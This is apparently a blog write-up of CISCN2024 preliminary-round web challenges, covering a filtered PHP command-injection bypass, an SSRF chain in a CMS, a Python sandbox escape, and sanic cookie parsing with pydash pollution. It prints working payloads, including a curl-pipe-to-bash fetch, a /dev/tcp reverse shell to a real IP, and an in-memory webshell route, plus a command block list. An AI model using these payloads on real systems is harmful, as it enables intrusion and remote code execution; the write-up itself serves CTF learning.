CISCN2024初赛 web wp

dawn_r1sing Lv3

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

pr 命令读文件(ctfshow环境不可以 但本地可以

1
pr /etc/passwd

能不能读倒是都行

过滤了太多东西,且escapeshellcmd函数:

1
此函数使得反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对的时候被转义

但反斜杠可以直接分隔开命令不产生影响(所以括号前加上\命令照常执行)

命令禁掉了大部分,想办法绕开——用命令行执行php语句

1
php -r <code>
1
php -r phpinfo();

image-20240523010345692

之后是根据mysql猜测弱密码root/root

1
php -r echo `mysql -u root -proot -e 'show databases;'`;

(注意-p后不可加空格)

但是‘’过滤,这里使用hex2bin绕过

又因为“”过滤,使用substr绕过

1
2
3
php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d70726f6f74202d65202773686f77206461746162617365733b27,1)));

=> php -r system("mysql -u root -proot -e 'show databases;'");

image-20240523013014916

image-20240523012932673

1
show tables from PHP_CMS ;

image-20240523013919170

1
select * from PHP_CMS.F1ag_Se3Re7 ;

image-20240523014224863

linux(system) → php(php -r) → linux(mysql) ⭕

easycms

提示flag.php

1
2
3
4
5
6
7
<?php
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

SSRF

image-20240529181530181

找到方法(/dayrui/Fcms/Control/Api/Api.php)

image-20240523162005947

image-20240524224130998

在thumb参数处传入url,302跳转到本地访问flag.php,并传入参数cmd,反弹shell

payload

1
index.php?s=api&c=api&m=qrcode&text=123&size=10&level=1&thumb=http://43.155.21.186/index.php

index.php

1
2
3
GIF98a
<?PHP
header("location:http://127.0.0.1/flag.php?cmd=curl%2043.155.21.186/bash.html|bash");

bash.html

1
sh -i >& /dev/tcp/43.155.21.186/9001 0>&1

监听9001端口

但在ctfshow上反弹不出来,就想本地复现一下

一开始是在Windows上配置,好不容易弄好php的调试想起来应该是在linux下,

之后就想着在wsl2里搞,

又配了好久好久,包括但不限于nginx、mysql(本机两个版本的mysql默认连我平时不用的那个,想拍死当时装mysql的自己。。远程连接也让我苦恼了很久)、php调试(但现在还只是个半成品)。。。

但还是不行。。

后来意识到这样127.0.0.1好像就到本机上了,这样和直接在windows下调试有个毛线区别

(兜兜转转终于放弃 :p

mossfern

每当 Python 执行一个函数或方法时,都会创建一个栈帧来表示当前的函数调用,并将其压入一个称为调用栈(Call Stack)的数据结构中

通过传参code传入代码,到xxx.txt中,

执行xxx.py文件,在py文件中执行txt文件,即code传入代码,通过过滤*4后,输出结果

1
2
3
4
5
6
7
8
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame.f_back.f_back.f_back.f_globals)
b=waff()

image-20240531173456514

1
2
3
4
5
6
7
8
9
10
11
12
13
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
code = frame.f_back.f_back.f_back.f_code
bui = frame.f_back.f_back.f_back.f_globals['_'*2+'builtins'+'_'*2]
dir = bui.dir
print(dir(code))
for i in code.co_consts:
print(i) # 一块一块输出的
b=waff()

image-20240531173034344

绕过最后一步的过滤(将列表转换成字符串,把每一项化零为整)

image-20240531175505982

image-20240531175721595

sanic

python高性能异步框架

1
2
3
4
5
6
7
8
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

cookies的user的值中含有 ;

正常传值分号会导致字符串被截断,需要想办法绕过

cookie解析过程

value的处理

image-20240531221219193

image-20240531230101985

o_match、q_match两个匹配到了

image-20240531225530530

1
res.append(chr(int(str[j + 1 : j + 4], 8)))

str[j + 1 : j + 4] 八进制转十进制、十进制转字符串,之后塞到cookie的value中(注意cookie格式)

image-20240531231114198

step2 pydash原型链污染
1
pydash.set_(pollute, key, value)	//设置属性值

(注意key与value需要以json格式发送

利用点——污染__file__属性

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

过滤

1
if ... and '_.' not in key:

image-20240601202319847

1
2
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")
如果是“.”,要求点前面 无\ 或 多次双\
1
{"key":"__init__\\\\.__globals__\\\\.__file__","value":"[flag路径]"}

要么环境变量查看 /proc/1/environ

image-20240709190249299要么找flag路径(注意更新sanic版本

目光落到注册静态路由这句话上

1
app.static("/static/", "./static/")

进入static

image-20240709200616447

1
2
3
directory_view: Whether to fallback to showing the directory viewer when exposing a directory

directory_handler: An instance of :class:`DirectoryHandler`that can be used for explicitly controlling and subclassing the behavior of the default directory handler(DirectoryHandler的实例)

==> 污染DirectoryHandler类达到 列目录 且 列根目录 的功能

image-20240709210143949

之后就是怎么拿到这个DirectoryHandler类

起点是 静态文件路由对象

之后通过某种途径获得DirectoryHandler对象,然后污染类中的directory_view属性和directory属性,之后就能直接访问/static/查看目录了

  1. 获得 静态文件路由对象
1
2
app.router.name_index['__mp_main__.static']
// 返回注册在应用中的静态文件路由对象
  1. 查看对象中可利用属性

(随便找一个有该对象的地方下个断点)

顺着就找到污染链了

注意这里不能用[]来包裹其中的索引,污染和直接调用不同,污染时需要用 . 来连接,而__mp_main__.static是一个整体不能分开,因此\\.将其转义

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"}

对于 directory ,输出为

1
WindowsPath('F:/python_projects/sanic/static')

是一个对象,输出在parts中

image-20240710150800182

但parts是一个tuple,pydash不能直接处理

pydash可以处理对象obj、列表[]、字典{},不能处理tuple、set等

看一看parts是如何被赋值的(这里找的好像有点复杂,可以直接从DirectoryHandler类那里看directory是如何赋值的)

image-20240710152443608

1
directory = file_or_directory
1
file_or_directory = Path(file_or_directory).resolve()

是一个path对象,说明directory是一个path对象,再往下

image-20240710153507767

在_from_parts函数中,parts赋值给_parts属性

image-20240710153830181

康康directory的_parts属性,输出一个列表

1
['F:\\', 'python_projects', 'sanic', 'static']

直接污染

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":['/']}

此时static可查看

image-20240710160927226

得到flag文件名,再次污染

1
{"key":"__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"}	// 注意“/”

image-20240710162134799

sanic的内存马

仿照flask框架

1
app.add_route(handler,"/test",method=["GET","POST"])

应用

1
eval('app.add_route(lambda request:__import__('os').popen(request.args.get('cmd')).read(),'/shell',method=['GET','POST'])')

ezjava

waiting…

  • Title: CISCN2024初赛 web wp
  • Author: dawn_r1sing
  • Created at : 2024-07-16 12:43:26
  • Updated at : 2024-07-16 19:12:24
  • Link: https://dawnrisingdong.github.io/2024/07/16/CISCN2024初赛-web-wp/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CISCN2024初赛 web wp